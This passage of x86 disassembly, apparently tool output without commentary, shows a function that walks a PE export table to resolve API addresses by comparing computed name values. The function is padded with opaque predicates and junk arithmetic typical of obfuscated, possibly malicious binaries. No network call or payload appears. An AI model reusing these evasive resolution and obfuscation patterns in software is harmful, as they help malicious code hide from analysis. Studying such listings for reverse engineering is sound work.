and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x788]
sub eax, dword [ebp - 0x790]
jne 0x1002023c
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
cmp dword [eax], 0
jne 0x1002023c
and dword [ebp - 0x798], 0
jmp 0x10020246
mov dword [ebp - 0x798], 1
mov eax, dword [ebp - 0x274]
cmp dword [ebp - 0x798], eax
je 0x10020260
mov dword [ebp - 0x7a0], 1
jmp 0x10020267
and dword [ebp - 0x7a0], 0
cmp dword [ebp - 0x7a0], 5
jne 0x1002027c
mov dword [ebp - 0x7a8], 1
jmp 0x10020283
and dword [ebp - 0x7a8], 0
cmp dword [ebp - 0x7a8], 0xfffffff6
je 0x10020298
mov dword [ebp - 0x7b0], 1
jmp 0x1002029f
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x7b0], eax
jne 0x100202b9
mov dword [ebp - 0x7b8], 1
jmp 0x100202c0
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x7b8], eax
jge 0x100202da
mov dword [ebp - 0x7c0], 1
jmp 0x100202e1
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x7c0]
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 0
je 0x10020309
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x10020309
mov dword [ebp - 0x7d0], 1
jmp 0x10020310
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x7d0]
shl eax, 2
test eax, eax
je 0x1002033f
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
cmp dword [eax], 0
je 0x1002033f
mov dword [ebp - 0x7d8], 1
jmp 0x10020346
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x7d8]
mov dword [ebp - 0x978], eax
push 0
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xd24], eax
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x274]
jne 0x10020388
mov dword [ebp - 0x7e0], 1
jmp 0x1002038f
and dword [ebp - 0x7e0], 0
push 4
pop eax
shl eax, 0
imul ecx, dword [ebp - 0x7e0], 0xffffffff
cmp ecx, dword [ebp + eax - 0x158]
jle 0x100203b7
mov eax, 0xba09
test eax, eax
jne 0x100203b7
and dword [ebp - 0x7e8], 0
jmp 0x100203c1
mov dword [ebp - 0x7e8], 1
push 0
lea ecx, [ebp - 0x424]
call fcn.1000c0cd
mov ecx, dword [ebp - 0x7e8]
mov dword [eax], ecx
jmp 0x1001ff9c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x424]
call fcn.1000c0b1
mov eax, dword [0x1066f250]
and eax, 1
jne 0x10020421
mov eax, dword [0x1066f250]
or eax, 1
mov dword [0x1066f250], eax
mov dword [ebp - 4], 0x30
mov ecx, 0x1066f310
call fcn.100224f8
push 0x10065546
call fcn.1004b916
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1060c916]
test eax, eax
je 0x1002048d
mov ecx, 0x1066f310
call fcn.100225bd
movzx eax, al
test eax, eax
jne 0x1002048d
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x7f0]
push eax
mov ecx, 0x1066f310
call fcn.100225c6
lea eax, [ebp - 0xe28]
push eax
mov ecx, 0x1066f310
call fcn.100225af
push eax
lea ecx, [ebp - 0x7f0]
call fcn.100224e5
movzx eax, al
test eax, eax
je 0x1002048d
lea ecx, [ebp - 0x7f0]
call fcn.100225db
mov eax, dword [eax + 4]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xffffffff
jne 0x100205b6
mov ecx, 0x1066f310
call fcn.10022641
mov ecx, dword [ebp - 0xac]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1066f310
call fcn.10022645
and dword [ebp - 0x138], 0
jmp 0x100204ce
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x138]
cmp ecx, dword [eax + 0x18]
jae 0x100205b6
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x148]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x138]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 0
je 0x100205b1
mov eax, dword [ebp - 0x7f8]
mov ecx, dword [ebp - 0x148]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0xf24]
call fcn.10022459
mov dword [ebp - 4], 0x31
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xf24]
call fcn.1000e619
mov dword [ebp - 0x800], eax
movzx eax, byte [0x1060c916]
test eax, eax
je 0x1002055f
mov ecx, 0x1066f310
call fcn.100225bd
movzx eax, al
test eax, eax
jne 0x1002057f
lea eax, [ebp - 0x800]
push eax
mov ecx, 0x1066f310
call fcn.10022603
mov ecx, dword [ebp - 0x138]
mov dword [eax], ecx
mov byte [0x1060c916], 1
cmp dword [ebp - 0x140], 0xffffffff
jne 0x100205a2
mov eax, dword [ebp - 0x800]
cmp eax, dword [ebp - 0x27c]
jne 0x100205a2
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x140], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf24]
call fcn.10022488
jmp 0x100204c1
cmp dword [ebp + 0x10], 0
jne 0x100205e5
cmp dword [ebp - 0x140], 0xffffffff
je 0x100205e5
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x148]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x140]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x8c], ax
mov dword [ebp - 0xd2c], 1
mov dword [ebp - 0x9a0], 0x5e08cccd
mov dword [ebp - 0x3ac], 0xfffffffe
mov dword [ebp - 0x488], 0xfffffffb
mov dword [ebp - 0x980], 0xc7516a20
push 3
lea ecx, [ebp - 0xc04]
call fcn.1000c02f
mov dword [ebp - 4], 0x32
mov dword [ebp - 0x368], 0x7c7ab89b
mov dword [ebp - 0x810], 0x928d9ba5
mov dword [ebp - 0x998], 8
mov dword [ebp - 0x370], 0x55261fc4
mov dword [ebp - 0xe24], 2
mov dword [ebp - 0x9b0], 0xcda7209c
mov dword [ebp - 0x440], 3
mov dword [ebp - 0x360], 0x1ec1
mov dword [ebp - 0x9a8], 0x3709e8e5
mov dword [ebp - 0x478], 0xfff8
mov dword [ebp - 0x9c8], 0x1c19
mov dword [ebp - 0x6c], 0
jmp 0x100206a9
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x100206c2
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xc04]
call fcn.1000c0cd
or dword [eax], 0xffffffff
jmp 0x100206a2
mov dword [ebp - 0x6c], 0
jmp 0x100206d2
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x100206e8
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xf34], 0x268f62c4
jmp 0x100206cb
push 0
lea ecx, [ebp - 0xc04]
call fcn.1000c0cd
mov dword [ebp - 0x3c0], eax
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax]
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x990], eax
mov eax, dword [ebp - 0x3c0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x988]
cmp eax, dword [ebp - 0x990]
jg 0x10020740
mov dword [ebp - 0x460], 1
jmp 0x10020747
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x998]
mov dword [ebp - 0xd34], eax
cmp dword [ebp - 0x3ac], 0
jne 0x10020780
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xf34]
imul eax, dword [ebp - 0x368]
test eax, eax
je 0x10020780
mov dword [ebp - 0x808], 1
jmp 0x10020787
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x808]
mov dword [ebp - 0x810], eax
mov eax, dword [ebp - 0x810]
cmp eax, dword [ebp - 0x9a0]
jl 0x100207c8
cmp dword [ebp - 0x488], 0
je 0x100207c8
cmp dword [ebp - 0x9a8], 0
je 0x100207c8
cmp dword [ebp - 0x478], 0
je 0x100207c8
mov dword [ebp - 0x818], 1
jmp 0x100207cf
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
sub eax, dword [ebp - 0x9b0]
mov ecx, dword [ebp - 0x360]
imul ecx, eax
mov dword [ebp - 0x9b8], ecx
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x9c0], eax
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x9b8]
cmp eax, dword [ebp - 0x9c0]
jg 0x10020829
mov dword [ebp - 0x820], 1
jmp 0x10020830
and dword [ebp - 0x820], 0
cmp dword [ebp - 0x820], 1
jl 0x10020845
mov dword [ebp - 0x438], 1
jmp 0x1002084c
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x370]
cmp dword [ebp - 0x438], eax
jge 0x10020866
mov dword [ebp - 0x448], 1
jmp 0x1002086d
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x440]
cmp dword [ebp - 0x448], eax
je 0x10020887
mov dword [ebp - 0x450], 1
jmp 0x1002088e
and dword [ebp - 0x450], 0
cmp dword [ebp - 0x450], 0
jl 0x100208a3
mov dword [ebp - 0x458], 1
jmp 0x100208aa
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x458], eax
jl 0x100208c4
mov dword [ebp - 0x468], 1
jmp 0x100208cb
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0x468]
jge 0x100208e5
mov dword [ebp - 0x470], 1
jmp 0x100208ec
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x368]
imul eax, dword [ebp - 0x470]
cmp eax, dword [ebp - 0x478]
jne 0x1002090d
mov dword [ebp - 0x480], 1
jmp 0x10020914
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0
jne 0x10020935
mov dword [ebp - 0x490], 1
jmp 0x1002093c
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x488]
imul eax, dword [ebp - 0x490]
mov dword [ebp - 0x9c8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc04]
call fcn.1000c0b1
movzx eax, word [ebp - 0x8c]
cmp eax, 0xffff
je 0x10020cf8
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x148]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x9d0], eax
mov eax, dword [ebp - 0x9d0]
mov ecx, dword [ebp - 0x148]
add ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0xac]
jbe 0x10020cf0
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0xac]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xb8], edx
jae 0x10020cf0
mov eax, dword [0x1066f250]
and eax, 2
jne 0x10020a09
mov eax, dword [0x1066f250]
or eax, 2
mov dword [0x1066f250], eax
mov dword [ebp - 4], 0x33
push 0x2d64
call fcn.10027a0c
pop ecx
mov byte [0x1066f254], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x60], 2
mov byte [ebp - 0x5f], 0x42
mov byte [ebp - 0x5e], 0
mov byte [ebp - 0x5d], 8
mov byte [ebp - 0x5c], 1
mov byte [ebp - 0x5b], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x60]
and eax, 0x2e
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x60]
or ecx, 0x2e
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x60]
mov byte [ebp + eax - 0xf8], cl
mov dword [ebp - 0x58], 2
and dword [ebp - 0x378], 0
jmp 0x10020a69
mov eax, dword [ebp - 0x58]
inc eax
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 6
jae 0x10020ae7
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x378]
movzx eax, byte [ebp + eax - 0x62]
movsx eax, byte [ebp + eax - 0xf8]
mov ecx, dword [ebp - 0x58]
movzx ecx, byte [ebp + ecx - 0x5f]
and ecx, eax
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x378]
movzx eax, byte [ebp + eax - 0x62]
movsx eax, byte [ebp + eax - 0xf8]
mov edx, dword [ebp - 0x58]
movzx edx, byte [ebp + edx - 0x5f]
and edx, eax
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x378]
movzx eax, byte [ebp + eax - 0x62]
movsx eax, byte [ebp + eax - 0xf8]
mov esi, dword [ebp - 0x58]
movzx ebx, byte [ebp + esi - 0x5f]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x60]
mov byte [ebp + eax - 0xf8], bl
jmp 0x10020a61
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0xf8], 0
mov eax, dword [0x1066f250]
and eax, 4
jne 0x10020b33
mov eax, dword [0x1066f250]
or eax, 4
mov dword [0x1066f250], eax
mov dword [ebp - 4], 0x34
lea eax, [ebp - 0xf8]
push eax
mov ecx, 0x1066f2ec
call fcn.10022459
push 0x10065537
call fcn.1004b916
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x284], 0
jmp 0x10020b49
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 4
jae 0x10020b62
mov eax, dword [ebp - 0x284]
mov byte [ebp + eax - 0xf8], 0
jmp 0x10020b3c
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x100], eax
movsx eax, byte [0x1066f254]
mov ecx, dword [ebp - 0x100]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x10020b91
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
jmp 0x10020b6e
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
push dword [ebp - 0x100]
push dword [ebp - 0xb8]
lea ecx, [ebp - 0xea8]
call fcn.10024dee
mov dword [ebp - 4], 0x35
push 0x1066f2ec
lea ecx, [ebp - 0xea8]
call fcn.10022492
lea eax, [ebp - 0xe30]
push eax
lea ecx, [ebp - 0xea8]
call fcn.100224b7
push dword [eax]
lea eax, [ebp - 0xd3c]
push eax
lea ecx, [ebp - 0xea8]
call fcn.100224a3
push dword [eax]
lea ecx, [ebp - 0xf4c]
call fcn.10024e17
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0xf4c]
push eax
call fcn.1000e81d
pop ecx
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0
je 0x10020c9c
push dword [ebp - 0x100]
lea ecx, [ebp - 0xedc]
call fcn.10022459
mov byte [ebp - 4], 0x37
lea edx, [ebp - 0x9d8]
lea ecx, [ebp - 0xedc]
call fcn.1000e701
movzx eax, al
test eax, eax
je 0x10020c6c
push 0
push dword [ebp - 0x9d8]
push 0
push dword [ebp - 0x380]
call fcn.1001989d
add esp, 0x10
mov dword [ebp - 0xb8], eax
jmp 0x10020c8b
push 1
push 0
lea eax, [ebp - 0xedc]
push eax
push dword [ebp - 0x380]
call fcn.1001989d
add esp, 0x10
mov dword [ebp - 0xb8], eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xedc]
call fcn.10022488
jmp 0x10020cd2
cmp dword [ebp + 0x10], 0
jne 0x10020cb2
mov ecx, dword [ebp + 0xc]
call fcn.1000befa
mov dword [ebp - 0x498], eax
jmp 0x10020cbc
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x498], eax
push dword [ebp - 0x498]
push dword [ebp + 8]
call fcn.10014989
pop ecx
pop ecx
mov dword [ebp - 0xb8], eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xf4c]
call fcn.10022412
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xea8]
call fcn.10022488
mov eax, dword [ebp - 0xb8]
jmp 0x10020cfa
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret